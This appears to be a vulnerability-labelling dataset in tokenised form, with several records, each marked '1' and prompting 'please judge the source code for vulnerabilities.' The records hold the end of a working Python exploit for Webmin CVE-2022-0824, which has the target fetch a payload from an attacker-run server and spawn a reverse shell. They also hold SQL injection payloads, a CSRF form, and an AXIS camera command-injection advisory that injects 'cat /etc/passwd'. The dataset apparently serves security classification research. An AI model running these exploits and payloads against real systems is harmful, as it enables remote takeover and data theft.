modify<underscore>permission(self):<NEWLINE>modify<underscore>perm<underscore>url = self.target + <double<underscore>quote><slash>extensions<slash>file<hyphen>manager<slash>chmod.cgi?module=filemin&page=1&paginate=30<double<underscore>quote><NEWLINE>headers = { <double<underscore>quote>Referer<double<underscore>quote>: self.target + <double<underscore>quote><slash>filemin<slash>?xnavigation=1<double<underscore>quote> }<NEWLINE>data = { <double<underscore>quote>name<double<underscore>quote>: self.fname, <double<underscore>quote>perms<double<underscore>quote>: <double<underscore>quote>0755<double<underscore>quote>, <double<underscore>quote>applyto<double<underscore>quote>: <double<underscore>quote>1<double<underscore>quote>, <double<underscore>quote>path<double<underscore>quote>: self.upload<underscore>path }<NEWLINE>r = self.s.post(modify<underscore>perm<underscore>url, data=data, headers=headers, verify=False, allow<underscore>redirects=True)<NEWLINE>print(f<double<underscore>quote>[+] Modifying permission of {self.fname} to 0755<double<underscore>quote>)<NEWLINE>def exec<underscore>revshell(self):<NEWLINE>url = self.target + <single<underscore>quote><slash><single<underscore>quote> + self.fname<NEWLINE>try:<NEWLINE>r = self.s.get(url, verify=False, allow<underscore>redirects=True, timeout=3)<NEWLINE>except requests.Timeout as e:<NEWLINE>print(TGREEN + f<double<underscore>quote><backslash>n[+] Success: shell spawned to {self.callback<underscore>ip} via port {self.callback<underscore>port} <hyphen> XD<double<underscore>quote>, ENDC)<NEWLINE>print(<double<underscore>quote>[+] Shell location: <double<underscore>quote> + url)<NEWLINE>else:<NEWLINE>print(TRED + f<double<underscore>quote><backslash>n[<hyphen>] Please setup listener first and try again with: nc <hyphen>lvp {self.callback<underscore>port}<double<underscore>quote>, ENDC)<NEWLINE>def do<underscore>cleanup(self):<NEWLINE>print(TCYAN + <single<underscore>quote><backslash>n[+] Cleaning up <single<underscore>quote>)<NEWLINE>print(f<single<underscore>quote>[+] Killing: http.server on port {self.pyhttp<underscore>port}<single<underscore>quote>)<NEWLINE>os.system(f<single<underscore>quote>kill <hyphen>9 $(lsof <hyphen>t <hyphen>i:{self.pyhttp<underscore>port})<single<underscore>quote>)<NEWLINE>exit()<NEWLINE>def run(self):<NEWLINE>self.gen<underscore>payload()<NEWLINE>self.login()<NEWLINE>self.pyhttp<underscore>server()<NEWLINE>self.download<underscore>remote<underscore>url()<NEWLINE>self.modify<underscore>permission()<NEWLINE>self.exec<underscore>revshell()<NEWLINE>self.do<underscore>cleanup()<NEWLINE>if <underscore><underscore>name<underscore><underscore> == <double<underscore>quote><underscore><underscore>main<underscore><underscore><double<underscore>quote>:<NEWLINE>parser = argparse.ArgumentParser(description=<single<underscore>quote>Webmin CVE<hyphen>2022<hyphen>0824 Reverse Shell<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>t<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>target<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Target full URL, https:<slash><slash>www.webmin.local:10000<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>c<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>credential<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Format, user:user123<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>LS<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>py3http<underscore>server<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Http server for serving payload, ex 192.168.8.120:8080<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>L<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>callback<underscore>ip<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Callback IP to receive revshell<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>P<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>callback<underscore>port<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Callback port to receive revshell<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<double<underscore>quote><hyphen>V<double<underscore>quote>,<single<underscore>quote><hyphen><hyphen>version<single<underscore>quote>, action=<single<underscore>quote>version<single<underscore>quote>, version=<single<underscore>quote>%(prog)s 1.0<single<underscore>quote>)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>target = args.target<NEWLINE>username = args.credential.split(<single<underscore>quote>:<single<underscore>quote>)[0]<NEWLINE>password = args.credential.split(<single<underscore>quote>:<single<underscore>quote>)[1]<NEWLINE>py3http<underscore>server = args.py3http<underscore>server<NEWLINE>pyhttp<underscore>port = py3http<underscore>server.split(<single<underscore>quote>:<single<underscore>quote>)[1]<NEWLINE>callback<underscore>ip = args.callback<underscore>ip<NEWLINE>callback<underscore>port = args.callback<underscore>port<NEWLINE>upload<underscore>path = <double<underscore>quote><slash>usr<slash>share<slash>webmin<double<underscore>quote><NEWLINE>fname = <double<underscore>quote>revshell.cgi<double<underscore>quote><NEWLINE>pwn = Exploit(target, username, password, py3http<underscore>server, pyhttp<underscore>port, upload<underscore>path, callback<underscore>ip, callback<underscore>port, fname)<NEWLINE>pwn.run()
1
please judge the source code for vulnerabilities.
Payload: id=5<single<underscore>quote> AND 3563=3563 AND <single<underscore>quote>HmOW<single<underscore>quote>=<single<underscore>quote>HmOW<NEWLINE>id=5<single<underscore>quote> AND (SELECT 7446 FROM(SELECT<NEWLINE>COUNT(*),CONCAT(0x7178707871,(SELECT<NEWLINE>(ELT(7446=7446,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM<NEWLINE>INFORMATION<underscore>SCHEMA.PLUGINS GROUP BY x)a) AND <single<underscore>quote>rNYc<single<underscore>quote>=<single<underscore>quote>rNYc<NEWLINE>id=5<single<underscore>quote> AND SLEEP(5) AND <single<underscore>quote>KdYd<single<underscore>quote>=<single<underscore>quote>KdYd<NEWLINE>id=<hyphen>1714<single<underscore>quote> UNION ALL SELECT<NEWLINE>NULL,NULL,CONCAT(0x7162787871,0x51487655536a566c616e5156496a6a56426267495670596f644f466f554753504469636d4358694c,0x71766a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL<hyphen><hyphen><NEWLINE>WSZd&t=gallery
1
please judge the source code for vulnerabilities.
<form method=<double<underscore>quote>POST<double<underscore>quote> action=<double<underscore>quote>http:<slash><slash>targetIp<slash>CPUCommands<double<underscore>quote>><NEWLINE><input name=<double<underscore>quote>PriNav<double<underscore>quote> value=<double<underscore>quote>Start<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Go!<double<underscore>quote>><NEWLINE><<slash>form>
1
please judge the source code for vulnerabilities.
<underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore><NEWLINE><slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash><NEWLINE>( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )<NEWLINE><backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash><NEWLINE>www.orwelllabs.com<NEWLINE>security advisory<NEWLINE>olsa<hyphen>2015<hyphen>8257<NEWLINE>PGP: 79A6CCC0<NEWLINE>* Advisory Information<NEWLINE>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<NEWLINE>(+) Title: AXIS Multiple Products Authenticated Remote Command Execution via devtools vector<NEWLINE>(+) Vendor: AXIS Communications<NEWLINE>(+) Research and Advisory: Orwelllabs<NEWLINE>(+) Advisory URL: http:<slash><slash>www.orwelllabs.com<slash>2016<slash>01<slash>axis<hyphen>commucations<hyphen>multiple<hyphen>products.html<NEWLINE>(+) Class: Improper Input Validation [CWE<hyphen>20]<NEWLINE>(+) CVE Name: CVE<hyphen>2015<hyphen>8257<NEWLINE>(+) Remotely Exploitable: Yes<NEWLINE>(+) Locally Exploitable: No<NEWLINE>(+) OLSA<hyphen>ID: OWLL2015<hyphen>8257<NEWLINE>(+) Affected Versions: Multiple Products<slash>Firmwares (check the list bellow)<NEWLINE>(+) IoT Attack Surface: Device Administrative Interface<slash>Authentication<slash>Authorization<NEWLINE>(+) Owasp IoTTop10: I1, I2<NEWLINE>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<NEWLINE>Vulnerability<NEWLINE>+++++++++++++<NEWLINE>AXIS Network Cameras (various models<slash>firmwares) are prone to Authenticated remote<NEWLINE>command execution vulnerability. Exploiting this vulnerability a remote attacker can<NEWLINE>force the execution of certain unauthorized actions, which may lead to further attacks.<NEWLINE>Technical Details<NEWLINE>+++++++++++++++++<NEWLINE>The devtools.sh script is the responsible for vulnerability and it<single<underscore>quote>s 4 attack vectors through the following pages:<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>license.shtml?app=<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>license<underscore>custom.shtml?app=<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>index.shtml?app=<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>params.shtml?app=<NEWLINE>An attacker can use the app parameter that waits for the name of a<NEWLINE>legitimate application to inject commands in the operating system using<NEWLINE><double<underscore>quote>%3B<double<underscore>quote>, for example, to read the contents of <slash>etc<slash>passwd:<NEWLINE>http: <slash><slash><NEWLINE>xxx.xxx.xxx.xxx<slash>app<underscore>license.shtml?app=ORWELLLABS%3Bcat%20<slash>etc<slash>passwd<NEWLINE>The data entered in parameter <double<underscore>quote>app =<double<underscore>quote> is passed without any treatment for<NEWLINE>devtools.sh script located at: {HTMLROOL}<slash>bin<slash>devtools.sh<NEWLINE>This script contains several functions, namely:<NEWLINE>list()<NEWLINE>status()<NEWLINE>menulist()<NEWLINE>mainpagelink()<NEWLINE>SETTINGSLINK()<NEWLINE>confvariable()<NEWLINE>echo<underscore>ssivar<underscore>licensekey()<NEWLINE>load<underscore>auto<underscore>inst<underscore>form()<NEWLINE>When these functions are invoked, they interact with the parameters passed<NEWLINE>by the web application through<NEWLINE>the affected scripts (e.g. ap<underscore>license.shtml? App =). By injecting the code<NEWLINE>below:<NEWLINE>http: <slash><slash><NEWLINE>xxx.xxx.xxx.xxx<slash>app<underscore>license.shtml?app=ORWELLLABS%3Bcat%20<slash>etc<slash>passwd<NEWLINE>The value passed in <double<underscore>quote>app<double<underscore>quote> will be passed directly to the script invoking<NEWLINE>devtools.sh via shell <hyphen>c as shown in the listing process below (third line<NEWLINE>invoking confvariable function):<NEWLINE>[SNIP]<NEWLINE>2039 led 25472 S <slash>usr<slash>bin<slash>enldgts <hyphen>n<NEWLINE>12014 root 0 SW [kworker<slash>0:0]<NEWLINE>13178 root 2548 S <slash>bin<slash>sh <hyphen>c <slash>usr<slash>html<slash>bin<slash>devtools.sh<NEWLINE>confvariable ORW..<NEWLINE>13183 root 2728 R ps <hyphen>aux PACKAGENAME<NEWLINE>13312 root 0 SW [kworker<slash>3:1]<NEWLINE>13320 root 0 SW [kworker<slash>2:0]<NEWLINE>[SNIP]<NEWLINE>The value <double<underscore>quote>ORWELLLABS%3Bcat%20<slash>etc<slash>passwd<double<underscore>quote> is then passed on to the<NEWLINE>corresponding function (after passing through a conference on <double<underscore>quote>confvariable<NEWLINE>()<double<underscore>quote>).<NEWLINE>confvariable() {<NEWLINE>local val=<NEWLINE>if [ <hyphen>r <double<underscore>quote>$PACKAGE<underscore>DIRECTORY<slash>$1<slash>$ADPPACKCFG<double<underscore>quote> ]; then<NEWLINE>. <double<underscore>quote>$PACKAGE<underscore>DIRECTORY<slash>$1<slash>$ADPPACKCFG<double<underscore>quote> || :<NEWLINE>eval val=<backslash>$$2<NEWLINE>echo $val<NEWLINE>fi<NEWLINE>}<NEWLINE>Then enter the function <double<underscore>quote>menulist ()<double<underscore>quote> which we see the main stretch located<NEWLINE>between the lines 127 and 143:<NEWLINE>[SNIP]<NEWLINE>127 [ <double<underscore>quote>$ name<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ activeMenu1 = $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE>endif <hyphen>>, null,<NEWLINE>128 [<NEWLINE>129 [ <double<underscore>quote>Settings<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = param<underscore> $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE><! <hyphen><NEWLINE>130 EOF<NEWLINE>131 if [<hyphen>z <double<underscore>quote>$ LICENSEPAGE<double<underscore>quote>] || [ <double<underscore>quote>$ LICENSEPAGE<double<underscore>quote> axis =]; Then<NEWLINE>132 cat << <hyphen> EOF<NEWLINE>133 [ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = license<underscore> $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE><! <hyphen><NEWLINE>134 EOF<NEWLINE>135 fi<NEWLINE>136 if [ <double<underscore>quote>$ LICENSEPAGE<double<underscore>quote> = custom] && [<hyphen>r <double<underscore>quote>$ HTMLROOT <slash> local <slash> $ APPNAME <slash><NEWLINE>license.inc<double<underscore>quote>]; Then<NEWLINE>137 cat << <hyphen> EOF<NEWLINE>138 [ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license<underscore>custom.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <!<NEWLINE><hyphen><NEWLINE>false <! <hyphen><NEWLINE>139 EOF<NEWLINE>140 fi<NEWLINE>141 if [<hyphen>r <double<underscore>quote>$ HTMLROOT <slash> local <slash> $ APPNAME <slash> about.inc<double<underscore>quote>]; Then<NEWLINE>142 cat << <hyphen> EOF<NEWLINE>143 [ <double<underscore>quote>About<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>index.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE>endif <hyphen>>, null, []],<NEWLINE>Where the important lines are the menus below:<NEWLINE><slash>bin<slash>devtools.sh (127):<NEWLINE>[ <double<underscore>quote>$ Name<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>= <double<underscore>quote><backslash> $ activeMenu1 = $ APPNAME<double<underscore>quote> <hyphen>> true <hyphen>> false <! <hyphen><NEWLINE><slash>bin<slash>devtools.sh (129):<NEWLINE>[ <double<underscore>quote>Settings<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = param<underscore> <hyphen>> true <! <hyphen><NEWLINE><hyphen>>, null, []],<NEWLINE><slash>bin<slash>devtools.sh (133):<NEWLINE>[ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = License<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE><hyphen>>, null, []],<NEWLINE><slash>bin<slash>devtools.sh (138):<NEWLINE>[ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license<underscore>custom.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>If expr = <double<underscore>quote><backslash> $ ActivePage = APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE>endif <hyphen>>, null, []],<NEWLINE><slash>bin<slash>devtools.sh (143):<NEWLINE>[ <double<underscore>quote>About<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>index.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE><double<underscore>quote><backslash> $ ActivePage = $ APPNAME<double<underscore>quote> <hyphen><NEWLINE>In PoC presented above, the payload will be triggered in line vector 133 of<NEWLINE>devtools script ( <double<underscore>quote>License<double<underscore>quote> menu) that will:<NEWLINE>[ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license.shtml<double<underscore>quote>, <double<underscore>quote>app = ORWELLLABS% 3Bcat% 20<NEWLINE><slash>etc<slash>passwd& <double<underscore>quote>HostA, <! <hyphen><NEWLINE><hyphen><NEWLINE>And when executed echoes the results on the page.<NEWLINE>Impact<NEWLINE>++++++<NEWLINE>The impact of this vulnerability is that taking into account the busybox<NEWLINE>that runs behind (and with root privileges everywhere. in all the binaries<NEWLINE>and scripts) is possible to execute arbitrary commands, create backdoors,<NEWLINE>performing a reverse connection to the machine attacker, use this devices<NEWLINE>as botnets and DDoS amplification methods... the limit is the creativity of<NEWLINE>the attacker.<NEWLINE>Affected Products<NEWLINE>+++++++++++++++++<NEWLINE>Multiple Axis Communications Products<slash>Firmware including:<NEWLINE>* AXIS Q6032<hyphen>E<slash>Q6034<hyphen>E<slash>Q6035<hyphen>E PTZ Dome Network Camera <hyphen><NEWLINE>Firmware 5.41.1.4<NEWLINE>* AXIS Q6042<hyphen>E<slash>Q6044<hyphen>E<slash>Q6045<hyphen>E PTZ Dome Network Camera <hyphen><NEWLINE>Firmware 5.70.1.2<NEWLINE>* AXIS A8004<hyphen>VE Network Video Door Station <hyphen><NEWLINE>Firmware 5.85.1.1<NEWLINE>* AXIS P3384 fixed dome Network camera <hyphen><NEWLINE>Firmware 6.10.1<NEWLINE>* AXIS P5532<hyphen>E PTZ Dome Network Camera <hyphen><NEWLINE>Firmware 5.41.3.1<NEWLINE>* AXIS Q60<hyphen>E Network Dome PTZ <hyphen><NEWLINE>Firmware 5.65.1.1, 5.41.*, 5.70.1.1<NEWLINE>* AXIS Q7401 Video Encoder <hyphen><NEWLINE>Firmware 5.50.4<NEWLINE>* AXIS Q7404 Video Encoder <hyphen><NEWLINE>Firmware 5.50.4.*<NEWLINE>* AXIS Q7406 Blade Video Encoder <hyphen><NEWLINE>Firmware 5.51.2<NEWLINE>* AXIS Q7411 Video Encoder <hyphen><NEWLINE>Firmware 5.90.1<NEWLINE>* AXIS Q7414 Blade Video Encoder <hyphen><NEWLINE>Firmware 5.51.2<NEWLINE>* AXIS Q7424<hyphen>R Video Encoder <hyphen><NEWLINE>Firmware 5.50.4<NEWLINE>* AXIS Q7424<hyphen>R Mk II Video Encoder <hyphen><NEWLINE>Firmware 5.51.3<NEWLINE>* AXIS Q7436 Blade Video Encoder <hyphen><NEWLINE>Firmware 5.90.1<NEWLINE>The list bellow shows the firmwares affected (and probably these firmwares<NEWLINE>are not available anymore, but just the last version of them, if you not<NEWLINE>sure, check the hash). All these firmwares (in the second column) has the<NEWLINE>same <double<underscore>quote>devtools.sh<double<underscore>quote> shellscript (responsible for trigger the RCE<NEWLINE>vulnerability) embedded. The script can be found on directory:<NEWLINE><double<underscore>quote>{HTMLROOT}<slash>bin<slash>devtools.sh<double<underscore>quote>.<NEWLINE>========================================================================<NEWLINE>PRODUCT FIRMWARE FIRMWARE HASH<NEWLINE>========================================================================<NEWLINE>AXIS A8004<hyphen>VE 5.85.1.1 e666578d7fca54a7db0917839187cd1a<NEWLINE>AXIS A8004<hyphen>VE 5.85.1 50f114d1169f6fe8dbdadd89ad2e087d<NEWLINE>AXIS F34 5.85.3 7a6ed55038edd8a2fc0f676fb8a04b10<NEWLINE>AXIS F41 5.85.3 8a089a51a0ecd63543c7883c76db7921<NEWLINE>AXIS F44 5.85.3 9e3b05625cfe6580ca3e41c5415090e7<NEWLINE>AXIS M1013 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12<NEWLINE>AXIS M1014 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12<NEWLINE>AXIS M1025 5.50.5.4 90d59c56171402828fceb7d25b18be2e<NEWLINE>AXIS M1033<hyphen>W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841<NEWLINE>AXIS M1034<hyphen>W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841<NEWLINE>AXIS M1054 5.50.3.4 39e279aa2c462e9ec01c7b90f698f76a<NEWLINE>AXIS M1103 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1104 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1113 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1114 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1124 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928<NEWLINE>AXIS M1125 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928<NEWLINE>AXIS M1143<hyphen>L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b<NEWLINE>AXIS M1144<hyphen>L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b<NEWLINE>AXIS M1145 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7<NEWLINE>AXIS M1145<hyphen>L 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7<NEWLINE>AXIS M2014 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS M3004 5.50.5.4 d65545ef6c03b33b20bf1a04e8216a65<NEWLINE>AXIS M3005 5.50.5.4 b461fb6e6aab990d3650b48708cee811<NEWLINE>AXIS M3006 5.70.1.2 b2864dcf48ac83053ba4516a2bda535e<NEWLINE>AXIS M3007 5.75.1.1 a0cc2e9a6ddad758b16f7de518080f70<NEWLINE>AXIS M3014 5.40.9.5 01d8917c9e60dde7741c4a317044b2f7<NEWLINE>AXIS M3024<hyphen>LVE 5.50.5.4 0b91bb66d37e208e130c7eb25099817b<NEWLINE>AXIS M3025<hyphen>VE 5.50.5.4 751f776668d340edf4149dc116ce26c6<NEWLINE>AXIS M3026 5.70.1.2 3e78ce4badf994f6d10c5916b6d5513d<NEWLINE>AXIS M3027 5.75.1.1 6d377ea9ea99068e910b416ccc73d8ca<NEWLINE>AXIS M3037 5.75.1.1 ef69c662079018e19e988663ad1fc509<NEWLINE>AXIS M3113<hyphen>R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3113<hyphen>VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3114<hyphen>R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3114<hyphen>VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3203 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61<NEWLINE>AXIS M3204 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61<NEWLINE>AXIS M5013 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205<NEWLINE>AXIS M5014 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205<NEWLINE>AXIS M7010 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d<NEWLINE>AXIS M7011 5.90.1 362658a55d4f2043ed435c72588bd7e7<NEWLINE>AXIS M7014 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d<NEWLINE>AXIS M7016 5.51.2.3 b3de957bbca166f145969a6884050979<NEWLINE>AXIS P1204 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS P1214 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS P1224 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS P1343 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60<NEWLINE>AXIS P1344 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60<NEWLINE>AXIS P1346 5.40.9.6 c89ee1e7c54b4728612277e18be1c939<NEWLINE>AXIS P1347 5.40.9.6 f0f95768e367c3a2a8999a0bd8902969<NEWLINE>AXIS P1353 5.60.1.5 0f59d0e34301519908754af850fdfebb<NEWLINE>AXIS P1354 5.90.1 120c230067b7e000fa31af674f207f03<NEWLINE>AXIS P1355 5.60.1.5 5dbec1d7b8b6f337581da6ec668a9aad<NEWLINE>AXIS P1357 5.90.1 d83472c4d545763e5b05cd6d0c63430f<NEWLINE>AXIS P1364 5.85.4 2db00322be0b8c939c89fe4f3e0fd67d<NEWLINE>AXIS P1365 5.75.3.2 1eba3426b2046e696d80ea253fe5e9b6<NEWLINE>AXIS P1405 5.80.1.1 4db97061feb3cf91eb0cded516f9c5af<NEWLINE>AXIS P1425 5.80.1.1 e9213ed81dc68f07c854a990889995ba<NEWLINE>AXIS P1427 5.80.1.1 dfe4cd28b929e78d42e8fc8c98616a7c<NEWLINE>AXIS P1428<hyphen>E 5.80.1.1 7a65a0b0e4050824de0d46a1725ad0ea<NEWLINE>AXIS P1435 5.85.4.1 219467e77dcb3195d7203a79ecd30474<NEWLINE>AXIS P3214 6.10.1 00fca61c0a97dfc5e670a308cbda14d4<NEWLINE>AXIS P3215 6.10.1 00fca61c0a97dfc5e670a308cbda14d4<NEWLINE>AXIS P3224 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6<NEWLINE>AXIS P3225 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6<NEWLINE>AXIS P3301 5.40.9.4 27b7a421f7e3511f3a4b960c80b42c56<NEWLINE>AXIS P3304 5.40.9.4 df9e2159c4eadf5e955863c7c5691b1a<NEWLINE>AXIS P3343 5.40.9.8 dd752099f8b2c48b91914ec32484f532<NEWLINE>AXIS P3344 5.40.9.8 dd752099f8b2c48b91914ec32484f532<NEWLINE>AXIS P3346 5.50.3.1 d30498356187ba44f94f31398b04a476<NEWLINE>AXIS P3353 5.60.1.4 fa4924480563924a0365268f8eef8864<NEWLINE>AXIS P3354 6.10.1 d2f317d88dea1f001ce8151106e0322b<NEWLINE>AXIS P3363 5.60.1.5 4b3175a30893a270e5dca8fc405b5d7e<NEWLINE>AXIS P3364 6.10.1 6128c6ba026a68a5759b08971504807e<NEWLINE>AXIS P3365 6.10.1 f26b0616c595622abb17ce4411dee2b2<NEWLINE>AXIS P3367 6.10.1 8dad67aae2ffaee6fb147d6942476f00<NEWLINE>AXIS P3384 6.10.1 138ff1bdc97d025f8f31a55e408e2a1d<NEWLINE>AXIS P3904<hyphen>R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be<NEWLINE>AXIS P3905<hyphen>R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be<NEWLINE>AXIS P3915<hyphen>R 5.80.1 1dcf4a39c7e7349629ade723f563e892<NEWLINE>AXIS P5414<hyphen>E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee<NEWLINE>AXIS P5415<hyphen>E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee<NEWLINE>AXIS P5512 95.50.4.2 a2d5aab90d51af80d924bb3cc8b249fc<NEWLINE>AXIS P5512<hyphen>E 5.50.4.2 4fd5d721e27fe0f4db7d652bd1730749<NEWLINE>AXIS P5514<hyphen>E 5.85.3 b1fc3d26f6293b94f042ac6ea3aa8271<NEWLINE>AXIS P5515 5.85.3 99b2512b57ed8a12c6ad2e53adc8acf8<NEWLINE>AXIS P5515<hyphen>E 5.85.3 639388e504a0841cad2eee7374476727<NEWLINE>AXIS P5522 5.50.4.3 8335552031bc297ce87666542f0e3106<NEWLINE>AXIS P5522<hyphen>E 5.50.4.2 218e1b6997f0e5338f86f0ed1b12f8a0<NEWLINE>AXIS P5532 5.41.3.1 b1ab3dd8ed126dd68b4793dec9bf3698<NEWLINE>AXIS P5532<hyphen>E 5.41.3.1 f6322413687d169dce61459d8338a611<NEWLINE>AXIS P5534 5.40.9.5 3b94922050bec9bc436dce3fcd9bcfaf<NEWLINE>AXIS P5534<hyphen>E 5.40.9.6 a931bc58ee0e882b359dbecd3d699c52<NEWLINE>AXIS P5544 5.41.2.2 cb5bcec36f839914db93eaf17ae83e5e<NEWLINE>AXIS P5624<hyphen>E 5.75.1.1 b93952a6083aa628026f145a1dffa313<NEWLINE>AXIS P5635<hyphen>E 5.75.1.1 24d32e4fab54f16b5698ff4e477fc188<NEWLINE>AXIS P7210 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1<NEWLINE>AXIS P7214 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1<NEWLINE>AXIS P7216 5.51.2.1 a77e96832f7d87970bf286288ce2ca81<NEWLINE>AXIS P7224 5.51.2.1 5d5ecf065f456e66eb42d9360d22f863<NEWLINE>AXIS P8514 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS Q1615 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44<NEWLINE>AXIS Q1635 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44<NEWLINE>AXIS Q1635<hyphen>E 5.80.1.3 